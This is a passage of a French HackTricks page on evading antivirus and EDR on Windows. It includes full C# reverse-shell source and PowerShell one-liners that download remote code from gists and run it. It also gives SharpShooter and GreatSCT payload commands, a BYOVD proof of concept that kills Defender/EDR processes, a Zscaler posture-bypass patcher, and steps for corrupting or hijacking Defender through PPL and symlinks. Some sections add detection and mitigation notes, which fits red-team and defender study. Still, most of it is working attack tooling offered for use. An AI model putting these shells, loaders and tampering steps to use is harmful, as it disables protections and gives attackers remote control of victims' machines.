cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
À l’intérieur de GreatSCT :
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
Maintenant, démarrez le lister avec msfconsole -r file.rc et exécutez le xml payload avec:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
Le Defender actuel terminera le processus très rapidement.
Compiler notre propre reverse shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Premier C# Revershell
Compilez-le avec:
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
Utilisez-le avec :
back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
C# using compilateur
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Téléchargement et exécution automatiques :
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
Liste d’obfuscateurs C# : https://github.com/NotPrab/.NET-Obfuscator
C++
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
- https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
- https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
- https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
- https://github.com/l0ss/Grouper2
- http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
- http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/
Exemple d’utilisation de python pour créer des injecteurs :
Autres outils
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
Plus
Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
Storm-2603 a utilisé un petit utilitaire console connu sous le nom Antivirus Terminator pour désactiver les protections endpoint avant de déposer le ransomware. L’outil apporte son propre driver vulnérable mais signé et l’abuse pour exécuter des opérations privilégiées en kernel que même les services AV Protected-Process-Light (PPL) ne peuvent pas bloquer.
Points clés
- Signed driver : Le fichier livré sur disque est
ServiceMouse.sys, mais le binaire est le driver légitimement signéAToolsKrnl64.sysprovenant de “System In-Depth Analysis Toolkit” d’Antiy Labs. Parce que le driver porte une signature Microsoft valide, il se charge même quand Driver-Signature-Enforcement (DSE) est activé. - Service installation :
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
La première ligne enregistre le driver comme un service kernel et la seconde le démarre de sorte que \\.\ServiceMouse devienne accessible depuis l’espace utilisateur.
3. IOCTLs exposed by the driver
| IOCTL code | Capacité |
|---|---|
0x99000050 | Terminer un processus arbitraire par PID (utilisé pour tuer les services Defender/EDR) |
0x990000D0 | Supprimer un fichier arbitraire sur le disque |
0x990001D0 | Décharger le driver et supprimer le service |
Minimal C proof-of-concept:
#include <windows.h>
int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}
- Why it works : BYOVD contourne entièrement les protections en user-mode ; le code exécuté en kernel peut ouvrir des processus protégés, les terminer, ou altérer des objets kernel indépendamment de PPL/PP, ELAM ou autres mécanismes de durcissement.
Detection / Mitigation
• Activez la liste de blocage des drivers vulnérables de Microsoft (HVCI, Smart App Control) afin que Windows refuse de charger AToolsKrnl64.sys.
• Surveillez la création de nouveaux services kernel et alertez lorsqu’un driver est chargé depuis un répertoire écritable par tous ou n’est pas présent sur la allow-list.
• Surveillez les handles user-mode vers des objets device personnalisés suivis d’appels DeviceIoControl suspects.
Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Le Client Connector de Zscaler applique des règles de posture device localement et s’appuie sur Windows RPC pour communiquer les résultats aux autres composants. Deux choix de conception faibles rendent un contournement complet possible :
- L’évaluation de posture se fait entièrement côté client (un booléen est envoyé au serveur).
- Les endpoints RPC internes valident uniquement que l’exécutable connectant est signé par Zscaler (via
WinVerifyTrust).
En patchant quatre binaires signés sur le disque les deux mécanismes peuvent être neutralisés :
| Binaire | Logique d’origine modifiée | Résultat |
|---|---|---|
ZSATrayManager.exe | devicePostureCheck() → return 0/1 | Retourne toujours 1 donc chaque vérification est conforme |
ZSAService.exe | Appel indirect à WinVerifyTrust | NOP-ed ⇒ n’importe quel processus (même non signé) peut se binder aux pipes RPC |
ZSATrayHelper.dll | verifyZSAServiceFileSignature() | Remplacé par mov eax,1 ; ret |
ZSATunnel.exe | Vérifications d’intégrité sur le tunnel | Court-circuité |
Minimal patcher excerpt:
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)
Après avoir remplacé les fichiers originaux et redémarré la stack de services :
- Tous les contrôles de posture affichent vert/conforme.
- Des binaires non signés ou modifiés peuvent ouvrir les RPC endpoints de named-pipe (p. ex.
\\RPC Control\\ZSATrayManager_talk_to_me). - L’hôte compromis obtient un accès sans restriction au réseau interne défini par les politiques Zscaler.
Cette étude de cas montre comment des décisions de confiance purement côté client et de simples vérifications de signature peuvent être contournées avec quelques patchs d’octets.
Abuser de Protected Process Light (PPL) pour altérer AV/EDR avec des LOLBINs
Protected Process Light (PPL) applique une hiérarchie signataire/niveau de sorte que seuls les processus protégés d’égal ou supérieur niveau peuvent se modifier entre eux. En offensif, si vous pouvez lancer légitimement un binaire activé PPL et contrôler ses arguments, vous pouvez convertir une fonctionnalité bénigne (p. ex., journalisation) en un primitive d’écriture contrainte, soutenue par PPL, contre des répertoires protégés utilisés par AV/EDR.
What makes a process run as PPL
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags:
EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS. - A compatible protection level must be requested that matches the signer of the binary (e.g.,
PROTECTION_LEVEL_ANTIMALWARE_LIGHTfor anti-malware signers,PROTECTION_LEVEL_WINDOWSfor Windows signers). Wrong levels will fail at creation.
See also a broader intro to PP/PPL and LSASS protection here:
Windows Credentials Protections
Launcher tooling
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
- https://github.com/2x7EQ13/CreateProcessAsPPL
- Usage pattern:
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
LOLBIN primitive: ClipUp.exe
- Le binaire système signé
C:\Windows\System32\ClipUp.exese lance lui‑même et accepte un paramètre pour écrire un fichier de log vers un chemin spécifié par l’appelant. - Lorsqu’il est lancé en tant que processus PPL, l’écriture du fichier s’effectue avec le backing PPL.
- ClipUp ne peut pas analyser les chemins contenant des espaces ; utiliser des chemins courts 8.3 pour pointer vers des emplacements normalement protégés.
8.3 short path helpers
- Lister les noms courts :
dir /xdans chaque répertoire parent. - Obtenir le chemin court dans cmd :
for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA
Abuse chain (abstract)
- Lancer le LOLBIN compatible PPL (ClipUp) avec
CREATE_PROTECTED_PROCESSen utilisant un lanceur (par ex., CreateProcessAsPPL). - Fournir l’argument de chemin de log de ClipUp pour forcer la création d’un fichier dans un répertoire AV protégé (par ex., Defender Platform). Utiliser les noms courts 8.3 si nécessaire.
- Si le binaire cible est normalement ouvert/verrouillé par l’AV pendant son exécution (par ex., MsMpEng.exe), planifier l’écriture au démarrage avant que l’AV ne démarre en installant un service auto‑démarré qui s’exécute de manière fiable plus tôt. Valider l’ordre de démarrage avec Process Monitor (boot logging).
- Au reboot, l’écriture soutenue par le PPL se produit avant que l’AV ne verrouille ses binaires, corrompant le fichier cible et empêchant son démarrage.
Example invocation (paths redacted/shortened for safety):
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
Notes et contraintes
- Vous ne pouvez pas contrôler le contenu que ClipUp écrit au-delà de l’emplacement ; la primitive est adaptée à la corruption plutôt qu’à une injection de contenu précise.
- Nécessite des privilèges administrateur local/SYSTEM pour installer/démarrer un service et une fenêtre de redémarrage.
- Le timing est critique : la cible ne doit pas être ouverte ; l’exécution au démarrage évite les verrous de fichiers.
Détections
- Création de processus
ClipUp.exeavec des arguments inhabituels, en particulier si le processus parent est un lanceur non standard, autour du démarrage. - Nouveaux services configurés pour démarrer automatiquement des binaires suspects et démarrant systématiquement avant Defender/AV. Investiguer la création/modification de services avant les échecs de démarrage de Defender.
- Surveillance d’intégrité des fichiers sur les binaires/les répertoires Platform de Defender ; créations/modifications de fichiers inattendues par des processus avec des flags protected-process.
- Télémetry ETW/EDR : rechercher des processus créés avec
CREATE_PROTECTED_PROCESSet une utilisation anormale du niveau PPL par des binaires non-AV.
Mitigations
- WDAC/Code Integrity : restreindre quels binaires signés peuvent s’exécuter en tant que PPL et sous quels parents ; bloquer l’invocation de ClipUp en dehors des contextes légitimes.
- Hygiène des services : restreindre la création/modification des services à démarrage automatique et surveiller toute manipulation de l’ordre de démarrage.
- S’assurer que la protection contre la falsification de Defender et les protections de démarrage précoce sont activées ; investiguer les erreurs de démarrage indiquant une corruption binaire.
- Envisager de désactiver la génération de noms courts 8.3 sur les volumes hébergeant des outils de sécurité si compatible avec votre environnement (tester soigneusement).
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
Tampering Microsoft Defender via Platform Version Folder Symlink Hijack
Windows Defender chooses the platform it runs from by enumerating subfolders under:
C:\ProgramData\Microsoft\Windows Defender\Platform\
It selects the subfolder with the highest lexicographic version string (e.g., 4.18.25070.5-0), then starts the Defender service processes from there (updating service/registry paths accordingly). This selection trusts directory entries including directory reparse points (symlinks). An administrator can leverage this to redirect Defender to an attacker-writable path and achieve DLL sideloading or service disruption.
Conditions préalables
- Administrateur local (nécessaire pour créer des répertoires/symlinks sous le dossier Platform)
- Capacité à redémarrer ou à déclencher la re-sélection de la plateforme de Defender (redémarrage du service au démarrage)
- Seuls des outils intégrés sont requis (mklink)
Pourquoi ça fonctionne
- Defender bloque les écritures dans ses propres dossiers, mais sa sélection de plateforme fait confiance aux entrées de répertoire et choisit la version la plus haute lexicographiquement sans vérifier que la cible se résout vers un chemin protégé/fiable.
Étape par étape (exemple)
- Préparer un clone inscriptible du dossier Platform courant, p.ex.
C:\TMP\AV:
set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
set DST="C:\TMP\AV"
robocopy %SRC% %DST% /MIR
- Créez un symlink de répertoire de version supérieure à l’intérieur de Platform pointant vers votre dossier:
mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"
- Sélection du déclencheur (redémarrage recommandé) :
shutdown /r /t 0
- Vérifier que MsMpEng.exe (WinDefend) s’exécute depuis le chemin redirigé :
Get-Process MsMpEng | Select-Object Id,Path
# or
wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath
Vous devriez observer le nouveau chemin du processus sous C:\TMP\AV\ et la configuration du service/le registre reflétant cet emplacement.
Post-exploitation options
- DLL sideloading/code execution: Déposer/remplacer les DLLs que Defender charge depuis son répertoire d’application pour execute code dans les processus de Defender. Voir la section ci‑dessus : DLL Sideloading & Proxying.
- Service kill/denial: Supprimer le version-symlink afin qu’au prochain démarrage le chemin configuré ne se résolve pas et que Defender échoue à démarrer :
rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"
Tip
Note that This technique does not provide privilege escalation by itself; it requires admin rights.
API/IAT Hooking + Call-Stack Spoofing with PIC (Crystal Kit-style)
Les red teams peuvent déplacer l’évasion à l’exécution hors du C2 implant et dans le module cible lui‑même en hookant son Import Address Table (IAT) et en redirigeant certaines APIs via du code position‑indépendant (PIC) contrôlé par l’attaquant. Cela généralise l’évasion au‑delà de la petite surface d’API exposée par de nombreux kits (e.g., CreateProcessA), et étend les mêmes protections aux BOFs et aux DLLs post‑exploitation.
High-level approach
- Stage a PIC blob alongside the target module using a reflective loader (prepended or companion). The PIC must be self‑contained and position‑independent.
- As the host DLL loads, walk its IMAGE_IMPORT_DESCRIPTOR and patch the IAT entries for targeted imports (e.g., CreateProcessA/W, CreateThread, LoadLibraryA/W, VirtualAlloc) to point at thin PIC wrappers.
- Each PIC wrapper executes evasions before tail‑calling the real API address. Typical evasions include:
- Memory mask/unmask around the call (e.g., encrypt beacon regions, RWX→RX, change page names/permissions) then restore post‑call.
- Call‑stack spoofing: construct a benign stack and transition into the target API so call‑stack analysis resolves to expected frames.
- For compatibility, export an interface so an Aggressor script (or equivalent) can register which APIs to hook for Beacon, BOFs and post‑ex DLLs.
Why IAT hooking here
- Works for any code that uses the hooked import, without modifying tool code or relying on Beacon to proxy specific APIs.
- Covers post‑ex DLLs: hooking LoadLibrary* lets you intercept module loads (e.g., System.Management.Automation.dll, clr.dll) and apply the same masking/stack evasion to their API calls.
- Restores reliable use of process‑spawning post‑ex commands against call‑stack–based detections by wrapping CreateProcessA/W.
Minimal IAT hook sketch (x64 C/C++ pseudocode)
// For each IMAGE_IMPORT_DESCRIPTOR
// For each thunk in the IAT
// if imported function == "CreateProcessA"
// WriteProcessMemory(local): IAT[idx] = (ULONG_PTR)Pic_CreateProcessA_Wrapper;
// Wrapper performs: mask(); stack_spoof_call(real_CreateProcessA, args...); unmask();
Remarques
- Appliquez le patch après les relocations/ASLR et avant la première utilisation de l’import. Les reflective loaders comme TitanLdr/AceLdr démontrent le hooking pendant le DllMain du module chargé.
- Gardez les wrappers minimes et compatibles PIC ; résolvez l’API réelle via la valeur IAT d’origine que vous avez capturée avant le patch ou via LdrGetProcedureAddress.
- Utilisez des transitions RW → RX pour le PIC et évitez de laisser des pages écriture+exécution.
Stub de falsification de pile d’appels
- Les stubs PIC de type Draugr construisent une fausse chaîne d’appels (adresses de retour pointant vers des modules bénins) puis pivotent vers l’API réelle.
- Cela contourne les détections qui s’attendent à des piles canoniques provenant de Beacon/BOFs vers des API sensibles.
- Associez avec les techniques de stack cutting/stack stitching pour aboutir à l’intérieur des frames attendues avant le prologue de l’API.
Intégration opérationnelle
- Préfixez le reflective loader aux DLLs post‑ex afin que le PIC et les hooks s’initialisent automatiquement lors du chargement de la DLL.
- Utilisez un script Aggressor pour enregistrer les APIs cibles afin que Beacon et BOFs bénéficient de manière transparente du même chemin d’évasion sans modification de code.
Considérations Détection/DFIR
- Intégrité de l’IAT : entrées qui résolvent vers des adresses non‑image (heap/anon) ; vérification périodique des pointeurs d’import.
- Anomalies de pile : adresses de retour n’appartenant pas aux images chargées ; transitions abruptes vers un PIC non‑image ; antécédents RtlUserThreadStart incohérents.
- Télémétrie du loader : écritures in‑process dans l’IAT, activité précoce dans DllMain qui modifie les import thunks, régions RX inattendues créées au chargement.
- Évasion au chargement d’images : si hooking LoadLibrary*, surveillez les chargements suspects d’automation/clr assemblies corrélés à des événements de memory masking.
Éléments constitutifs et exemples associés
- Reflective loaders qui effectuent du IAT patching pendant le chargement (e.g., TitanLdr, AceLdr)
- Memory masking hooks (e.g., simplehook) et stack‑cutting PIC (stackcutting)
- Stubs PIC de falsification de la pile d’appels (e.g., Draugr)
Références
-
Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer
-
Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks
-
Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations
-
Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports
-
Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)
-
Zero Salarium – Break The Protective Shell Of Windows Defender With The Folder Redirect Technique
-
Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

